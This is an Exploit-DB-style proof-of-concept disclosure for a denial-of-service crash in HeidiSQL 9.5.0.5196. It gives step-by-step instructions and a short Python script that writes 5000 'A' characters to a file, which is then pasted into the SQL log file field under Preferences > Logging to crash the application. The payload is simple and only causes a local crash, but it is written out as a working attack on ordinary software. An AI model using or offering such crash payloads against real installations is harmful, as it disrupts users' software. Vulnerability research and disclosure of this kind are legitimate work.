# Exploit Title: HeidiSQL 9.5.0.5196 - Denial of Service (PoC)
# Discovery by: Victor MondragA3n
# Discovery Date: 2018-11-06
# Vendor Homepage: https://www.heidisql.com/
# Software Link: https://www.heidisql.com/download.php
# Tested Version: 9.5.0.5196
# Tested on: Windows 10 Single Language x64 / Windows 7 x64 Service Pack 1
 
#Steps to produce the crash:
#1.- Run python code: HeidiSQL 9.5.0.5196.py
#2.- Open bd.txt and copy content to clipboard
#2.- Open HeidiSQL
#3.- Select "More"
#4.- Select "Preferences" > "Logging"
#5.- Select "Write SQL log to file" and Paste ClipBoard
#6.- Click on "OK"
#7.- Crashed
 
cod = "\x41" * 5000
 
f = open('bd.txt', 'w')
f.write(cod)
f.close()